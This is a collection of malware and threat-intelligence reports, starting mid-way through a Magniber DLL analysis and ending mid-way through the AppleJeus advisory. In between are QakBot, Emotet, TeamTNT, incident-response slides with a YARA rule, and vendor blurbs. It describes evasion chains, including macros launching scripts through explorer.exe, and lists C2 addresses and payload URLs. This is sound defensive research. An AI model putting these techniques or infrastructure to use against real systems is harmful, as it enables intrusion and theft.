>>> bin = pefile.PE('eediwjus.dll') >>> bin.get_imphash() '' >>> bin.get_rich_header_hash() '' ``` Sure enough, the binary doesn’t seem to have an import table hash or rich header hash. Maybe those parts don’t exist? We can confirm with `pefile` again. ``` >>> for directory in bin.OPTIONAL_HEADER.DATA_DIRECTORY: ... print(directory) ... [IMAGE_DIRECTORY_ENTRY_EXPORT] 0x148 0x0 VirtualAddress: 0x2000 0x14C 0x4 Size: 0x4B [IMAGE_DIRECTORY_ENTRY_IMPORT] 0x150 0x0 VirtualAddress: 0x0 0x154 0x4 Size: 0x0 ... >>> bin.RICH_HEADER >>> ``` Sure enough, the import table is apparently empty and no rich header exists for the binary. This is slightly unusual, so let’s see if we can run some more commands to find capabilities before jumping further into analysis. The Mandiant tools `floss` and `capa` yield nothing significant. ``` +-----------+--------------------------------------------------------------+ | md5 | e7e4878847d31c4de301d3edf7378ecb | | sha1 | a93d0f59b3374c6d3669a5872d44515f056e9dbf | | sha256 | f423bd6daae6c8002acf5c203267e015f7beb4c52ed54a78789dd86ab35e46c6 | | path | eediwjus.dll | +-----------+--------------------------------------------------------------+ no capabilities found ``` Yara tells us more of what we already know. ``` remnux@remnux:~/cases/magnitude/update/eediwjus$ yara-rules eediwjus.dll IsPE64 eediwjus.dll IsDLL eediwjus.dll IsWindowsGUI eediwjus.dll ImportTableIsBad eediwjus.dll HasModified_DOS_Message eediwjus.dll ``` A `pedump` command gets us some export info. You could also get this with `pefile` in Python, I just like this output better. ``` === EXPORTS === # module "eediwjus.dll" # flags=0x0 ts="2021-12-29 10:55:45" version=0.0 ord_base=1 # nFuncs=1 nNames=1 ORD ENTRY_VA NAME 1 1f74 mhjpfzvitta ``` The export `mhjpfzvitta()` jives with what we expect coming from the EXE previously seen. This is probably our best entry point to examine the DLL. ## Getting Dirty In Assembly I usually work with Ghidra, but Cutter seemed to have a better representation of the assembly for this binary. The entry point export `mhjpfzvitta()` is fairly brief. ``` 6: mhjpfzvitta (int64_t arg1); ; arg int64_t arg1 @ rcx 0x180001f74 call fcn.18000113f 0x180001f79 ret ``` The entry point immediately calls a function at offset `18000113f` and returns. Once we go to look at the assembly for that function, we see quite a wild execution graph. Once entering the function, the sample contains loads of `jmp` instructions that cause execution to bounce around to various points of the binary. This makes it hard for analysts to follow execution, and eventually we see some more evidence of suspicious activity in decompiled code. ``` undefined8 fcn.180001f8e(int64_t arg1) { syscall(); return 0x18; } ``` Since the sample doesn’t have an import table, it’s relying on manual syscall calls like one to `0x18` for `NtAllocateVirtualMemory`. Avast saw this with Magniber in the past, alongside the `jmp` obfuscation. While I’m not yet skilled enough to tear much more out of the binary through static analysis, my eye was caught by one section of code that pushes `0x40` and `0x1000` to registers. These two values sometimes pop up when malware calls `VirtualAlloc`. `0x40` refers to `PAGE_EXECUTE_READWRITE` protection and `0x1000` refers to `MEM_COMMIT`. Since these values popped up in the sample, we can hypothesize that the sample may inject or unpack material into a memory space. ## How do we know it’s Magniber? I didn’t have luck getting Yara rules for Magniber to match this sample, so the best references I have right now are the tweet from @JAMESWT_MHT and the blog post from Avast showing similar `jmp` obfuscation and syscall references. Thanks for reading!
# QakBot (QBot) Maldoc Campaign Introduces Two New Techniques into Its Arsenal Morphisec Labs has tracked a massive maldoc campaign delivering the QakBot/QBot banking trojan, starting earlier this month. Qakbot leverages advanced techniques to evade detection and hamper manual analysis of the threat. In this post, we will mention two of those interesting techniques. QakBot attacks typically include a malicious attachment to a phishing email. Often these are bare Microsoft Word documents attached to the spam email. This particular campaign features a ZIP file; within the ZIP attachment is a Word document that includes macros. These macros execute a PowerShell script that then downloads the Qakbot payload from specific URLs. This particular QakBot campaign also includes two new techniques: a bypass of the content disarm and reconstruction (CDR) technology through zipping the Word document, and a bypass of child-parent pattern detection because Visual Basic is executed using Explorer. ## QakBot Technical Analysis The first step in the attack chain is a phishing email sent with a ZIP file attached. As in classic phishing attacks, the email is designed to encourage the target to click on the file and download it. Though phishing through ZIP is very popular today and you would expect to find an executable in the zip, in this case, it was just a simple Word phishing document. The reason an attacker would send a document through zip and not directly is that many CDR systems will strip a document delivered as an attachment from all the malicious artifacts. Sending a Word document in a ZIP file is a perfect way to bypass CDR systems. The ZIP file contains a Microsoft Word document. The attackers use a common tactic to lure the victim to enable macros: when the target downloads the file, it asks for the target to enable editing and then enable content in order to view the document. When we looked at the macros, we noticed two automatically triggered functions: AutoOpen and AutoClose. As the names suggest, these two functions activate when the document is opened and when the document is closed. The AutoOpen function creates a decoy VBS file filled with some spaces in the ProgramData directory, then triggers the AutoClose function by executing the command `Application.Quit`. When triggered, the AutoClose function dumps all of the form caption into another VBS file in ProgramData, which is then executed using the `WScript.Shell Exec` method with the command `explorer.exe C:\ProgramData\Portes.vbs` that is stored in the DefaultTargetFrame property. Executing through explorer.exe is simple but still very unique and will break many of the existing pattern recognition capabilities of different EDR products. This may reduce the score of the attack just enough to stay under the radar. When the script is executed, it dumps a couple of commands to a separate batch script and executes it. The batch script kills the `WINWORD.exe` process, and then runs a PowerShell command that iterates over several URLs. If active, it will download and execute the payload, which is QakBot (QBot). Last, the batch script deletes all of the artifacts from the infected machine. ## Conclusions Morphisec identified an increase in QakBot/QBot delivery during the last several months. EDRs/AVs have a hard time detecting distributed behavior in which not a single process does something malicious but all the processes combined act in a malicious way. We identified a similar execution in the delivery of other malwares such as Emotet, Tesla, and more. A proactive, prevention-first approach to cybersecurity is key to protecting your enterprise against these evasive threats. This approach includes hardening your environment or deploying advanced preventive technology in your enterprise. The moving target defense technology that underpins Morphisec Shield and Morphisec Guard immunizes your enterprise and protects you against advanced evasive threats such as QakBot. ## IOCs (SHA-1) **Docs:** - 8253ed3b08ab8996d471af5d25a7223d8c259f45 - be852364d22d508f8ef601bb3bc9eac6bd98713b - d772f78169d9ba175d22c8ecf1a0c3f0328ff6eb - 2bd118bb81b709b1013d7ffd8789f05d4e1f734f - 78f498003afb55d18207ab7bb22170c6c8c7ef98 - 39d29aa254c55a5222ea0ec63dc22da67e3b483d - 295e604af22f8ced8fe5349765d345507fd3c079 **Qakbot (QBot):** - 791179b20d936cf76d885d1949d4a50a295b4918 - e36af99c29a474f82cd57f2736b9d1b5ecadfdfd - b841a34ec95bd1c3d1afe6d578aadef9439f3c38 - e7480e6adb6af1c992bc91605e4bba682d76c43d - 952917654b5c0328a31c3bbd8c7bf7a70a4a82e7 - 58b023e339a9557adbdbf0de63c0584500438b9b - 147101a88cc1fe91bac9161425986a1c1e15bc16 **URLs:** - hxxp://akindustrieschair.com/smuvtnrgvmd/55555.png - hxxp://nashsbornik.com/rqzvoxtjyhw/555555.png - hxxp://maplewoodstore.com/rmwclxnbeput/555555.png - hxxp://akersblog.top/kipql/555555.png - hxxp://all-instal.eu/mgpui/555555.png - hxxp://ankaramekanlari.net/vmnzwr/555555.png - hxxp://optovik.store/bkatah/555555.png - hxxp://store.anniebags.com/qyvbyjaiu/555555.png - hxxp://atsepetine.com/evuyrurweyib/555555.png - hxxp://duvarsaatcisi.com/gbmac/555555.png - hxxp://rijschoolfastandserious.nl/rprmloaw/111111.png - hxxp://nanfeiqiaowang.com/tsxwe/111111.png - hxxp://forum.insteon.com/suowb/111111.png - hxxp://webtest.pp.ua/yksrpucvx/111111.png - hxxp://quoraforum.com/btmlxjxmyxb/111111.png - hxxp://quickinsolutions.com/wfqggeott/111111.png - hxxp://bronco.is/pdniovzkgwwt/111111.png - hxxp://studiomascellaro.it/wnzzsbzbd/111111.png - hxxp://craniotylla.ch/vzufnt/111111.png - hxxp://marineworks.eu/dwaunrsamlbq/111111.png
# Behind the Scenes of the Emotet Infrastructure ## Reliance Securities Reliance Securities implemented smart contact center technologies to put their customers at the heart of their operations, reducing their response times. They have also pinpointed which platform their customers prefer to communicate through. ## ASHRAE ASHRAE’s new headquarters creates a blueprint for the intelligent building. Emotet is a threat known to use large amounts of command and control servers (C2s) in parallel in order to ensure uptime and bypass blocking. This first layer of C2s, also called Tier 1 C2s, will in part forward their received traffic to Tier 2 servers. This relationship has previously been observed by Centurylink. NTT Ltd. Threat Detection decided to explore the malware infrastructure of Emotet deeper, with multiple goals in mind: - Ensure our long-term detection capabilities for Emotet traffic in our customer environments. - Explore the underlying Emotet infrastructure and track the setup and longevity of the Tier 2 servers. - Collaborate with CERTs and notify ISPs of malicious activity. We own and operate one of the world's largest tier-1 IP backbones, giving insight into a significant portion of the global internet traffic. We’re also consistently ranked among the top five network providers in the world. In the fall of 2018, our security division added botnet infrastructure detection capabilities to our Managed Security Services (MSS) Threat Detection services. This unique capability was used during this project in order to explore and monitor the Emotet network infrastructure. ## Starting the Journey The assumptions of behavior of the Tier 1 C2s were reduced to the expectation that they forward their traffic towards a Tier 2 C2. We initially monitored Tier 1 C2 traffic en masse. We extracted Tier 1 C2 lists from Emotet samples and applied these IOCs in our netflow monitoring in NTT Ltd.’s global internet infrastructure, where one potential Tier 2 C2 was found. The Emotet botnet is divided into separate Epochs, Epoch 1, 2, and 3, which all have their own separate Tier 1 C2 infrastructure. The Tier 1 C2s in the picture above belong to Epoch 2. A Shodan lookup of the services of the Tier 2 C2 shows the following setup of HTTP services. At this point in the investigation, we assumed that the above was the standard setup for all Tier 2 C2s and automated the analysis of outgoing traffic from Tier 1 C2s to find new Tier 2 C2s. We found new ones by selecting traffic where: - The source IP is an Emotet Tier 1 C2. - The destination port is TCP/80 and is running a NGINX service, with the error message “HTTP 404 Not found.” - The destination IP is also running an Apache service which gives “HTTP 200 OK” status message over port TCP/8080. ## Observed Backends With our new workflow established, we’ve observed 16 Tier 2 C2 servers with incoming Tier 1 C2 traffic of their respective associated Epoch: - Eight Tier 2 C2s belong to Epoch 1. - Five Tier 2 C2s belong to Epoch 2. - Three Tier 2 C2s belong to Epoch 3. With the following hosting providers used: - Seven using Serverius Holding. - Five using GloboTech. - Two using Worldstream. - One using PnS Hostings. - One using RealHosters. The graphs below show the timelines for when each Tier 2 C2 is receiving connections from Tier 1 C2s grouped by each Epoch. The Y-axis is the number of connecting Tier 1 C2s and the X-axis is the timeline. The colored lines each represent a Tier 2 C2. ### Epoch 1 Based on the synchronization in time when old Tier 2 C2s disappear and new Tier 2 C2s appear, there are two separate Tier 2 C2 infrastructures for Epoch 1 in use at the same time: 37.252.15.50 -> 185.180.223.70 and 72.10.162.83 -> 72.10.162.84 -> 72.10.162.85 -> 72.10.162.86. ### Epoch 2 The new Tier 2 C2s appear at the same time or a little before the old one goes down. The overlap with two Tier 2 C2 active at the same time is noteworthy. ### Epoch 3 The IP 134.119.194.179 has for a very long time been utilized as a Tier 2. The IP 37.252.14.29 has a low utilization of connecting Tier 1 C2s. From the analysis above, the following Tier 2 IPs were excluded due to their short time-span and low amount of connecting Tier 1 C2s indicating them to possibly be inactive: - 37.252.15.52 - 37.252.14.109 - 185.180.223.114 ## Theories on Administration Our analysts have three main theories on how the actor behind Emotet administers the Tier 2 C2 servers: **Theory 1 – Apache TCP/8080** An administration panel and/or API access exposed over Apache TCP/8080 which the actor connects to. No network traffic in the NTT Global internet infrastructure supporting this theory has been seen. **Theory 2 – NGINX TCP/80** The hosting of an administration panel and/or API access over the same port that they receive C2 traffic. This would make it easier for the actor to hide their tracks by possibly tunneling their traffic through Tier 1 C2s towards Tier 2 C2s. **Theory 3 - A Tier 3 C2** Tier 2 C2s forwarding their traffic towards a central Tier 3 C2 which has data for all three Epochs. No outgoing traffic from Tier 2 C2s inside of NTT Global internet infrastructure has been observed supporting this and it’s seen as very unlikely. ## Closing Thought on Theories The overlaps observed in the Tier 2 C2 infrastructure with multiple Tier 2 C2s being active at the same time indicates an additional complexity. Based on netflow monitoring of our global internet infrastructure, theory 2 is found to be most likely, but forensics of Tier 2 C2s would be needed in order to confirm this theory. ## Conclusion NTT Ltd.’s Threat Detection has reliably been able to follow the changes in the use of Tier 2 servers in the Emotet network infrastructure. It’s noteworthy how one of the largest threat actors today can largely operate undisturbed with Tier 2 servers having uptime of multiple months. This research is of use when planning takedown actions, but also in understanding threat actors' operations and improving the detection capabilities that NTT Ltd. Threat Detection has in customer environments.
# Threat Alert: TeamTNT Pwn Campaign Against Docker and K8s Environments **Assaf Morag** February 17, 2021 Last week, TeamTNT launched a new campaign against Docker and Kubernetes environments. Using a collection of container images that are hosted in Docker Hub, the attackers are targeting misconfigured docker daemons, Kubeflow dashboards, and Weave Scope, exploiting these environments in order to steal cloud credentials, open backdoors, mine cryptocurrency, and launch a worm that is looking for the next victim. In this blog, I will explore these container images and what they were designed to do. The Docker Hub account ‘heavy0x0james’ was created on June 3rd, 2019. In February 2021, the adversaries uploaded six malicious container images that have been observed to perform attacks in the wild. All six container images initially run a shell file named `init.sh`, but in each image it does something different. Then the attackers leverage a binary named `zgrab` (MD5=7691c55732fded10fca0d6ccc64e41dc) in order to scan the internet for more victims. Below is the list of these malicious container images and their capabilities: | Container images | Capabilities | |------------------------|--------------------------------------------------------------------------------------------------| | Wescopwn | Run a cryptominer, Execute a worm, Scan ports 80, 443, 8080, 8888, Look for vulnerable weave scope applications, Execute Tsunami malware | | Tornadopwn | Execute a worm, Scan AWS IP ranges, Scan ports 80, 443, 8080, 8888, Look for vulnerable Kubeflow and Jupyter notebooks | | Jaganod | Execute a trojan (`/usr/local/lib/dockerd.so`), Execute a worm, Scan ports 80, 2375, 2376, 4243, 4040, 8888, Look for vulnerable Docker daemons, vulnerable weave scope applications and vulnerable Kubeflow and Jupyter notebooks | | Awspwner | Execute a worm, Scan AWS IP ranges, Scan ports 2375, 2376, 2377, 4244, 4243, Execute AWS keys grabber | | Tornadorangepwn | Execute a worm, Scan ports 80, 443, 8080, 8888, Execute AWS keys grabber | ## Conclusion Over the last few years, we at Team Nautilus have detected many kinds of attacks against Docker and Kubernetes environments, but this is the first time that we see a campaign designed to massively and systematically scan the internet, search for specific misconfigurations or outdated software, and attack the potential victims. Some of these images deploy a cryptominer, some open backdoors, and others are looking to steal AWS keys. These findings should alert security practitioners that even the smallest misconfiguration, even for a fraction of time, matters as it can result in a cyberattack. When working with Docker: 1. Regularly update your cloud software, specifically Docker and Kubernetes projects. Previous versions typically have more known vulnerabilities. 2. If possible, avoid exposing unnecessary APIs to the internet. Additionally, try limiting APIs inbound and outbound traffic to your organization’s network range. 3. Review authorization and authentication policies, basic security policies, and adjust them according to the principle of least privilege. 4. Regularly monitor the runtime environment. This includes monitoring the running containers, their images, and the processes that they run. Investigate logs, mostly around user actions, look for actions you can’t account for, regular anomalies or outliers. 5. Implement a security strategy where you can easily enforce runtime policies, as well as consider using cloud security tools that will widen your scope and reach within your cloud resources. ## Indication of Compromise (IOCs) - **heavy0x0james/dockgeddon:latest** root/dockerd (MD5=091efbe14d22ecb8a39dd1da593f03f4) root/TNTfeatB0RG (MD5=624e902dd14a9064d6126378f1e8fc73) C2=45[.]9[.]148[.]85 - **heavy0x0james/wescopwn:latest** root/dockerd (MD5=091efbe14d22ecb8a39dd1da593f03f4) root/TNTfeatB0RG (MD5=624e902dd14a9064d6126378f1e8fc73) C2=45[.]9[.]148[.]85, borg[.]wtf - **heavy0x0james/tornadopwn:latest** C2=45[.]9[.]148[.]85 - **heavy0x0james/jaganod:latest** usr/local/lib/dockerd.so (MD5=e8b1dc73a3299325f5c9a8aed41ba352) root/dockerd (MD5=091efbe14d22ecb8a39dd1da593f03f4) C2=45[.]9[.]148[.]85 - **heavy0x0james/awspwner:latest** aws.sh C2=borg[.]wtf - **heavy0x0james/tornadorangepwn:latest** aws.sh C2=borg[.]wtf **Assaf Morag** Assaf is a Lead Data Analyst at Aqua. As part of Team Nautilus, Aqua's research team, he focuses on supporting the data needs of the team, obtaining threat intelligence and helping Aqua and the industry stay on the forefront of new threats and methodologies for protection. His work has been published in leading info security publications and journals across the globe, and most recently he contributed to the new MITRE ATT&CK Container Framework.
# Research, News, and Perspectives ## Exploits & Vulnerabilities ### Celebrating 15 Years of Pwn2Own Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future. *Latest News May 25, 2022* ### S4x22: ICS Security Creates the Future The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE. *Security Strategies May 12, 2022* ### Security Above and Beyond CNAPPs How Trend Micro’s unified cybersecurity platform is transforming cloud security. *Security Strategies May 10, 2022* ### Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content. *Research May 19, 2022* ### New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families. *April 27, 2022* ### Why Trend Micro is Evolving Its Approach to Enterprise Protection *Security Strategies May 17, 2022* ### New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report. *Research May 25, 2022* ### Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys. *Research May 16, 2022* ### Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report. *Research May 18, 2022* ### The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals. *May 24, 2022* ### Examining the Black Basta Ransomware’s Infection Routine We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics. *Research May 09, 2022*
# BSides IR in Heterogeneous Environment ## Practical Incident Response in Heterogeneous Environment **Keven Murphy & Stefano Maccaglia** 1. **The mass-triage problem in 2018** - The investigation process (Triage) in any IT incident is key to solving the case and cleaning all affected systems. - In heterogeneous environments, where Windows, Linux, Mac OS, and Unix systems are potentially affected by the attacker, the investigation process is slowed by a number of technical complexities. - First problem: a common platform and procedure to adopt for the triage, as many technologies cover only a portion of the environment. - Second problem: what to look for, as the triage aims to identify malicious artifacts, and usual technologies do not provide flexibility and agility. - Third problem: the capability to search the heterogeneous environment using custom IOCs. - Fourth problem: the possibility to pinpoint known badness, allowing for easier mitigation. - In our approach, the IOCs play an important role in both the investigation process and the definition of the best way to approach the triage. We were looking for a “rule them all” solution aimed at overcoming traditional limitations of the most common commercial solutions. 2. **Traditional IOCs application** - The traditional IR approach: - Context regarding IOCs typically does not exist. - Application of IOCs to the environment is rule-based. - Customization of IOCs is not an option in some commercial products. - Rule-based detection will miss changes made to the actor’s tools. 3. **Our idea** - The production of code leaves traces in any binary. - The binary can contain debugging symbols, which provide a lot of information. - Often, the attacker tools include the use of specific libraries or functions. - A lot of fingerprinting can be done with software, which is very useful for IR analyses. - The combined information can help solve the attribution problem, assess risks, identify end goals for known actors, and aid the creation of actionable IOCs. 4. **RIFT (Retrieve Interesting Files Tool)** - Retrieves files/directories based on a regex list. - Uses Sleuthkit to retrieve files forensically. - Outputs files into a directory (machine name). - Retrieved files are saved to a remote share/USB. - Recreates the directory structure of where the file was found. - To run: ``` rift --verbose --savedrive [SAVEDRIVE] https://github.com/chaoticmachinery/frac_rift ``` 5. **Getfileslist.txt examples** - `getfileslist.txt` contains a regex list of files and directories that RIFT will retrieve: - `ntuser.dat$` - `system32/winevt/logs/` - `^/etc/` - `.ssh` 6. **FRAC (Forensic Response ACquisition)** - Uses RIFT to forensically retrieve files/directories across the network. - Recommended to use PAExec or SSH/SSHPASS to connect to remote machines. - Requires local admin rights and remote share (SMB/NFS depending on OS). - Supports single IP, CIDR notation, and IP range. - Can be used to execute any command on remote machines. - To run: ``` frac_v0.05 --iplist iplist.txt --cmd cmd.txt --verbose ``` 7. **FRAC (Forensic Response Acquisition): The Output** - FRAC/RIFT creates directories with the hostname of the machine. - Example output: ``` drwxr-xr-x 7 root root 4096 Apr 11 19:39 machinea_04112018_19-18-58 drwxr-xr-x 9 root root 4096 Apr 11 20:11 machineb_04112018_15-19-02 ``` 8. **Actionable IOCs (AIOCs)** - The concept of “actionable” IOCs has been derived and refined from a collective set of Incident Response investigations. - Utilizes procedures, analysis, and evidence for a methodical approach. - Based on positive matches can help identify the attacker and create a structured knowledge base of attackers. 9. **Malware analysis process to build AIOCs** 10. **Example: PoisonIvy** - PoisonIvy, a Remote Access Tool/Trojan (RAT) often used in targeted attacks, had been widely seen until around 2013. - Recently, we identified PoisonIvy with expanded features in its communication function capable of bypassing HTTP/HTTPS proxy in APT and cybercriminal attacks. 11. **YARA RULES** - PoisonIvy typical IOC rule: ``` rule poisonivy_1 { meta: description = "Poison Ivy" author = "Jean-Philippe Teissier / @Jipe_" date = "2013-02-01" filetype = "memory" version = "1.0" strings: $a = { 53 74 75 62 50 61 74 68 } condition: $a } ``` 12. **AIOCs formalization process** - Atomic IOCs - High order Yara rules for files and packets - Actor tags and attack descriptions - Actor tools - High order ClamAV signature - High order log and system artifacts - System and network visibility 13. **Bisonal** - Bisonal is a backdoor with a main module and communication module. - Capable of listing and controlling processes, creating and deleting files, and creating a remote shell. 14. **Trojan.Bisonal traffic** - Custom “flag” and c2 domain used to track victims. 15. **Trojan.Bisonal resulting AIOC description** - Type of malware: Modular Trojan (single stage), mainly used for data stealing. - Capabilities: beaconing, listing and controlling processes, creating and deleting files. 16. **Bisonal Behavior** - Sample registry values and created files. 17. **YARA RULES for Trojan.Bisonal** - Example rules to detect Bisonal variants. 18. **ClamAV for AIOCs** - ClamAV is an open-source and free anti-virus program designed to scan email attachments and can be used as a regular anti-virus. 19. **Using ClamAV to Scan for Badness** - Command examples for scanning directories. 20. **Using ClamAV: Results** - Multiple hits on the same file help verify results. 21. **Sigtool: ClamAV command line** - Command examples for creating signatures. 22. **Generating ClamAV Signatures with IDA with CASC** - How to use IDA to create ClamAV signatures. 23. **Remote ClamAV scan with Psexec** - Psexec can execute remote commands to start scans on every computer in a network. 24. **ClamAV PoisonIvy variants signature** - Example signatures for detecting PoisonIvy variants. 25. **ClamAV Bisonal - logic signature** - Logic operators in action within the Bisonal signature. 26. **ClamAV and Forensics** - ClamAV can help with forensic investigations by detecting badness in log files. 27. **Actionable IOCs** - A response to the need for solid indicators to support investigations, attribution, and triage of incidents generated by malicious actors. 28. **Thanks!**
# AppleJeus: Analysis of North Korea’s Cryptocurrency Malware ## Summary This Advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. This joint advisory is the result of analytic efforts among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Treasury to highlight the cyber threat to cryptocurrency posed by North Korea, formally known as the Democratic People’s Republic of Korea (DPRK), and provide mitigation recommendations. Working with U.S. government partners, FBI, CISA, and Treasury assess that Lazarus Group—which these agencies attribute to North Korean state-sponsored advanced persistent threat (APT) actors—is targeting individuals and companies, including cryptocurrency exchanges and financial service companies, through the dissemination of cryptocurrency trading applications that have been modified to include malware that facilitates theft of cryptocurrency. These cyber actors have targeted organizations for cryptocurrency theft in over 30 countries during the past year alone. It is likely that these actors view modified cryptocurrency trading applications as a means to circumvent international sanctions on North Korea—the applications enable them to gain entry into companies that conduct cryptocurrency transactions and steal cryptocurrency from victim accounts. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. The U.S. Government has identified malware and indicators of compromise (IOCs) used by the North Korean government to facilitate cryptocurrency thefts; the cybersecurity community refers to this activity as “AppleJeus.” This report catalogues AppleJeus malware in detail. North Korea has used AppleJeus malware posing as cryptocurrency trading platforms since at least 2018. In most instances, the malicious application—seen on both Windows and Mac operating systems—appears to be from a legitimate cryptocurrency trading company, thus fooling individuals into downloading it as a third-party application from a website that seems legitimate. In addition to infecting victims through legitimate-looking websites, HIDDEN COBRA actors also use phishing, social networking, and social engineering techniques to lure users into downloading the malware. ## Technical Details The North Korean government has used multiple versions of AppleJeus since the malware was initially discovered in 2018. This section outlines seven of the versions below. ### Targeted Nations HIDDEN COBRA actors have targeted institutions with AppleJeus malware in several sectors, including energy, finance, government, industry, technology, and telecommunications. Since January 2020, the threat actors have targeted these sectors in the following countries: Argentina, Australia, Belgium, Brazil, Canada, China, Denmark, Estonia, Germany, Hong Kong, Hungary, India, Ireland, Israel, Italy, Japan, Luxembourg, Malta, the Netherlands, New Zealand, Poland, Russia, Saudi Arabia, Singapore, Slovenia, South Korea, Spain, Sweden, Turkey, the United Kingdom, Ukraine, and the United States. ## AppleJeus Versions ### AppleJeus Version 1: Celas Trade Pro **Introduction and Infrastructure** In August 2018, open-source reporting disclosed information about a trojanized version of a legitimate cryptocurrency trading application on an undisclosed victim’s computer. The malicious program, known as Celas Trade Pro, was a modified version of the benign Q.T. Bitcoin Trader application. This incident led to the victim company being infected with a Remote Administration Tool (RAT) known as FALLCHILL, which was attributed to North Korea (HIDDEN COBRA) by the U.S. Government. **Celas Trade Pro Application Analysis** - **Windows Program**: The Windows version of the malicious Celas Trade Pro application is an MSI Installer. The installer looks legitimate and is signed by a valid Sectigo certificate. The MSI Installer asks the victim for administrative privileges to run. Once permission is granted, the threat actor is able to run the program with elevated privileges. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer that has a disk image format that Apple commonly uses to distribute software over the internet. The installer looks legitimate and has a valid digital signature from Sectigo. ### AppleJeus Version 2: JMT Trading **Introduction and Infrastructure** In October 2019, a cybersecurity company identified a new version of the AppleJeus malware—JMT Trading—thanks to its many similarities to the original AppleJeus malware. The malware was in the form of a cryptocurrency trading application marketed and distributed by a legitimate-looking company, called JMT Trading. **JMT Trading Application Analysis** - **Windows Program**: The Windows version of the malicious cryptocurrency application is an MSI Installer. The installer looks legitimate and has a valid digital signature from Sectigo. Once permission is granted, the MSI executes the following actions. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ### AppleJeus Version 3: Union Crypto **Introduction and Infrastructure** In December 2019, another version of the AppleJeus malware was identified. The malware was in the form of a cryptocurrency trading application marketed and distributed by a legitimate-looking company, called Union Crypto. **Union Crypto Trader Application Analysis** - **Windows Program**: The Windows version of the malicious cryptocurrency application is a Windows executable that acts as an installer that extracts a temporary MSI Installer. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ### AppleJeus Version 4: Kupay Wallet **Introduction and Infrastructure** On March 13, 2020, a new version of the AppleJeus malware was identified. The malware was marketed and distributed by a legitimate-looking company, called Kupay Wallet. **Kupay Wallet Application Analysis** - **Windows Program**: The Windows version of the malicious cryptocurrency application is an MSI Installer. The MSI executes the following actions. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ### AppleJeus Version 5: CoinGoTrade **Introduction and Infrastructure** In early 2020, another version of the AppleJeus malware was identified. This time the malware was marketed and distributed by a legitimate-looking company called CoinGoTrade. **CoinGoTrade Application Analysis** - **Windows Program**: The Windows version of the malicious application is an MSI Installer. The installer appears to be legitimate and will execute the following actions. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ### AppleJeus Version 6: Dorusio **Introduction and Infrastructure** In March 2020, an additional version of the AppleJeus malware was identified. The malware was marketed and distributed by a legitimate-looking company called Dorusio. **Dorusio Application Analysis** - **Windows Program**: The Windows version of the malicious application is an MSI Installer. The installer appears to be legitimate and will install the following two programs. - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ### AppleJeus Version 7: Ants2Whale **Introduction and Infrastructure** In late 2020, a new version of AppleJeus was identified called “Ants2Whale.” The site for this version of AppleJeus is ants2whale.com. The website shows a legitimate-looking cryptocurrency company and application. **Ants2Whale Application Analysis** - **macOS X Program**: The macOS version of the malicious application is a DMG Installer. The installer looks legitimate and has very similar functionality to the Windows version. ## ATT&CK Profile ### MITRE ATT&CK Techniques Observed | Tactic Title | ID | Technique Title | |--------------|----|-----------------| | Resource Development | T1583.001 | Acquire Infrastructure: Domain | | Resource Development | T1583.006 | Acquire Infrastructure: Web Services | | Resource Development | T1587.001 | Develop Capabilities: Malware | | Resource Development | T1588.003 | Obtain Capabilities: Code Signing Certificates | | Resource Development | T1588.004 | Obtain Capabilities: Digital Certificates | | Initial Access | T1566.002 | Phishing: Spearphishing Link | | Execution | T1059 | Command and Scripting Interpreter | | Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | | Execution | T1204.002 | User Execution: Malicious File | | Persistence | T1053.004 | Scheduled Task/Job: Launchd | | Persistence | T1543.004 | Create or Modify System Process: Launch Daemon | | Persistence | T1547 | Boot or Logon Autostart Execution | | Privilege Escalation | T1053.005 | Scheduled Task/Job: Scheduled Task | | Defense Evasion | T1027 | Obfuscated Files or Information | | Defense Evasion | T1548 | Abuse Elevation Control Mechanism | | Defense Evasion | T1564.001 | Hide Artifacts: Hidden Files and Directories | | Discovery | T1033 | System Owner/User Discovery | | Exfiltration | T1041 | Exfiltration Over C2 Channel | | Command and Control | T1071.001 | Application Layer Protocol: Web Protocols | | Command and Control | T1573 | Encrypted Channel | | Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | ## Mitigations ### Compromise Mitigations Organizations that identify AppleJeus malware within their networks should take immediate action. Initial actions should include the following steps: - Contact the FBI, CISA, or Treasury immediately regarding any identified activity related to AppleJeus. - Initiate your organization’s incident response plan. - Generate new keys for wallets, and/or move to new wallets. - 